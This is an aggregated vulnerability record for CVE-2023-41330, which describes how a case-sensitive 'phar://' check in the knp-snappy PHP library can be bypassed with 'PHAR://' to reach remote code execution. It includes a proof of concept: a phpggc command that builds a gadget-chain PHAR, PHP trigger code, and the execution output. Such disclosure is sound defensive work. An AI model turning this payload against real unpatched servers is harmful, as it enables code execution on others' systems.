{"id":"CVE-2023-41330","aliases":["CVE-2023-41330","GHSA-92rv-4j2h-8mjj"],"related":["CVE-2026-49286"],"kind":"vulnerability","state":"published","title":"Unsafe deserialization in knplabs/knp-snappy","summary":"knplabs/knp-snappy is a PHP library allowing thumbnail, snapshot or PDF generation from a url or a html page.\n## Issue\n\nOn March 17th the vulnerability CVE-2023-28115 was disclosed, allowing an attacker to gain remote code execution through PHAR deserialization. Version 1.4.2 added a check `if (\\strpos($filename, 'phar://') === 0)` in the `prepareOutput` function to resolve this CVE, however if the user is able to control the second parameter of the `generateFromHtml()` function of Snappy, it will then be passed as the `$filename` parameter in the `prepareOutput()` function. In the original vulnerability, a file name with a `phar://` wrapper could be sent to the `fileExists()` function, equivalent to the `file_exists()` PHP function. This allowed users to trigger a deserialization on arbitrary PHAR files. To fix this issue, the string is now passed to the `strpos()` function and if it starts with `phar://`, an exception is raised. However, PHP wrappers being case insensitive, this patch can be bypassed using `PHAR://` instead of `phar://`. A successful exploitation of this vulnerability allows executing arbitrary code and accessing the underlying filesystem. The attacker must be able to upload a file and the server must be running a PHP version prior to 8. This issue has been addressed in commit `d3b742d61a` which has been included in version 1.4.3. Users are advised to upgrade. Users unable to upgrade should ensure that only trusted users may submit data to the `AbstractGenerator->generate(...)` function.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"knplabs/knp-snappy is a PHP library allowing thumbnail, snapshot or PDF generation from a url or a html page.\n## Issue\n\nOn March 17th the vulnerability CVE-2023-28115 was disclosed, allowing an attacker to gain remote code execution through PHAR deserialization. Version 1.4.2 added a check `if (\\strpos($filename, 'phar://') === 0)` in the `prepareOutput` function to resolve this CVE, however if the user is able to control the second parameter of the `generateFromHtml()` function of Snappy, it will then be passed as the `$filename` parameter in the `prepareOutput()` function. In the original vulnerability, a file name with a `phar://` wrapper could be sent to the `fileExists()` function, equivalent to the `file_exists()` PHP function. This allowed users to trigger a deserialization on arbitrary PHAR files. To fix this issue, the string is now passed to the `strpos()` function and if it starts with `phar://`, an exception is raised. However, PHP wrappers being case insensitive, this patch can be bypassed using `PHAR://` instead of `phar://`. A successful exploitation of this vulnerability allows executing arbitrary code and accessing the underlying filesystem. The attacker must be able to upload a file and the server must be running a PHP version prior to 8. This issue has been addressed in commit `d3b742d61a` which has been included in version 1.4.3. Users are advised to upgrade. Users unable to upgrade should ensure that only trusted users may submit data to the `AbstractGenerator->generate(...)` function.","source":"cvelist"},{"lang":"en","text":"## Issue\n\nOn March 17th the vulnerability [CVE-2023-28115 was disclosed](https://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc), allowing an attacker to gain remote code execution through PHAR deserialization. To fix this issue, the version 1.4.2 was released with an additional check in the affected function to prevent the usage of the `phar://` wrapper. However, because PHP wrappers are case-insensitive and the patch only checks the presence of the `phar://` string, it can be bypassed to achieve remote code execution again using a different case.\n\nAs for the initial vulnerability, PHP 7 or below is required for a successful exploitation using the deserialization of PHP archives metadata via the `phar://` wrapper.\n\n## Technical details\n\n### Description\n\nThe following [patch](https://github.com/KnpLabs/snappy/commit/1ee6360cbdbea5d09705909a150df7963a88efd6) was committed on the 1.4.2 release to fix CVE-2023-28115.\n\n![patch](https://user-images.githubusercontent.com/110113034/250088710-396f562d-d19e-43a5-a8f8-90ca1f7e3e98.png)\n\nIf the user is able to control the second parameter of the `generateFromHtml()` function of Snappy, it will then be passed as the `$filename` parameter in the `prepareOutput()` function. In the original vulnerability, a file name with a `phar://` wrapper could be sent to the `fileExists()` function, equivalent to the `file_exists()` PHP function. This allowed users to trigger a deserialization on arbitrary PHAR files.\n\nTo fix this issue, the string is now passed to the `strpos()` function and if it starts with `phar://`, an exception is raised. However, PHP wrappers being case insensitive, this patch can be bypassed using `PHAR://` instead of `phar://`.\n\n### Proof of Concept\n\nTo illustrate the vulnerability, the `/tmp/exploit` file will be written to the filesystem using a voluntarily added library to trigger the deserialization. The PHP archive is generated using [phpggc](https://github.com/ambionics/phpggc) with the `-f` option to force a fast destruct on the object. Otherwise, the PHP flow will stop on the first exception and the object destruction will not be called.\n\n```bash\n$ phpggc -f Monolog/RCE1 exec 'touch /tmp/exploit' -p phar -o exploit.phar\n```\nThe following `index.php` file will be used to trigger the vulnerability via the payload `PHAR://exploit.phar`.\n\n```bash\n<?php\n// index.php\n\n// include autoloader\nrequire __DIR__ . '/vendor/autoload.php';\n\n// reference the snappy namespace\nuse Knp\\Snappy\\Pdf;\n\n$snappy = new Pdf('/usr/local/bin/wkhtmltopdf');\n$snappy->generateFromHtml('<h1>POC</h1>', 'PHAR://exploit.phar');\n```\nFinally once executed, the `/tmp/exploit` file is successfully created on the filesystem.\n\n```bash\n$ php index.php \nFatal error: Uncaught InvalidArgumentException: The output file 'PHAR://exploit.phar' already exists and it is a directory. in /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php:634\nStack trace:\n#0 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php(178): Knp\\Snappy\\AbstractGenerator->prepareOutput('PHAR://exploit.phar', false)\n#1 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/Pdf.php(36): Knp\\Snappy\\AbstractGenerator->generate(Array, 'PHAR://exploit.phar', Array, false)\n#2 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php(232): Knp\\Snappy\\Pdf->generate(Array, 'PHAR://exploit.phar', Array, false)\n#3 /var/www/index.php(12): Knp\\Snappy\\AbstractGenerator->generateFromHtml('<h1>POC</h1>', 'PHAR://exploit.phar')\n#4 {main}\n  thrown in /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php on line 634\n  \n$ ls -l /tmp/exploit\n-rw-r--r-- 1 user_exploit user_exploit 0 Jun 14 10:05 exploit\n```\n\nThis proof of concept is based on the original one published with CVE-2023-28115.\n\n### Impact\n\nA successful exploitation of this vulnerability allows executing arbitrary code and accessing the underlying filesystem. The attacker must be able to upload a file and the server must be running a PHP version prior to 8.\n\n## Patches\nSynacktiv recommends to use a whitelist instead of a blacklist. In this situation, only the wrappers `http://`, `https://` or `file://` be available on the function `generateFromHtml()`.\n\n## Workarounds\nControl user data submitted to the function `AbstractGenerator->generate(...)`\n\n## References\nhttps://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc\n\n## Credits\nRémi Matasse of Synacktiv (https://synacktiv.com/).","format":"markdown","source":"ghsa"},{"lang":"es","text":"knplabs/knp-snappy es una librería PHP que permite la generación de thumbnail, snapshots o PDFs desde una URL o una página HTML. ## El problema que reveló la vulnerabilidad CVE-2023-28115 el 17 de marzo, permite a un atacante obtener la ejecución remota de código mediante la deserialización PHAR. La versión 1.4.2 agregó una verificación `if (\\strpos($filename, 'phar://') === 0)` en la función `prepareOutput` para resolver este CVE, sin embargo, si el usuario puede controlar el segundo parámetro de la función `generateFromHtml()` de Snappy, luego se pasará como el parámetro `$filename` en la función `prepareOutput()`. En la vulnerabilidad original, un nombre de archivo con un contenedor `phar://` podría enviarse a la función `fileExists()`, equivalente a la función PHP `file_exists()`. Esto permitió a los usuarios activar una deserialización en archivos PHAR arbitrarios. Para solucionar este problema, la cadena ahora se pasa a la función `strpos()` y si comienza con `phar://`, se genera una excepción. Sin embargo, como los contenedores de PHP no distinguen entre mayúsculas y minúsculas, este parche se puede omitir usando `PHAR://` en lugar de `phar://`. Una explotación exitosa de esta vulnerabilidad permite ejecutar código arbitrario y acceder al sistema de archivos subyacente. El atacante debe poder cargar un archivo y el servidor debe ejecutar una versión de PHP anterior a la 8. Este problema se solucionó en el commit `d3b742d61a` que se incluyó en la versión 1.4.3. Se recomienda a los usuarios que actualicen. Los usuarios que no puedan actualizar deben asegurarse de que solo los usuarios confiables puedan enviar datos a la función `AbstractGenerator-&gt;generate(...)`.","source":"nvd"}],"published":"2023-09-06T17:33:21.098Z","modified":"2026-09-10T03:49:58.157Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-502"],"affected":[{"ranges":[{"version":"< 1.4.3","status":"affected"}],"vendor":"KnpLabs","product":"snappy","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.4.3"}],"ecosystem":"Packagist","package":"knplabs/knp-snappy","purl":"pkg:composer/knplabs/knp-snappy","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.4.3"}],"vendor":"knplabs","product":"snappy","cpe":"cpe:2.3:a:knplabs:snappy:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/KnpLabs/snappy/security/advisories/GHSA-92rv-4j2h-8mjj","tags":["exploit","mitigation","vendor-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc","tags":["exploit","vendor-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/KnpLabs/snappy/commit/d3b742d61a68bf93866032c2c0a7f1486128b67e","tags":["patch","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-41330","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/FriendsOfPHP/security-advisories/blob/master/knplabs/knp-snappy/CVE-2023-41330.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/KnpLabs/snappy","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/advisories/GHSA-92rv-4j2h-8mjj","tags":["advisory"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2024-09-30T15:54:05.463Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2023-41330","url":"https://www.cve.org/CVERecord?id=CVE-2023-41330","licence":"CVE Terms of Use","modified":"2024-09-30T15:54:18.428Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-92rv-4j2h-8mjj","url":"https://github.com/advisories/GHSA-92rv-4j2h-8mjj","licence":"CC-BY-4.0","modified":"2026-09-10T03:49:58.157Z"},{"source":"nvd","name":"NVD","id":"CVE-2023-41330","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-41330","licence":"Public domain","modified":"2026-06-17T06:21:49.073Z"}],"updatedAt":"2026-11-25T22:58:27.735Z","epss":{"score":0.02287,"percentile":0.83695,"date":"2026-12-02T12:00:21.000Z"}}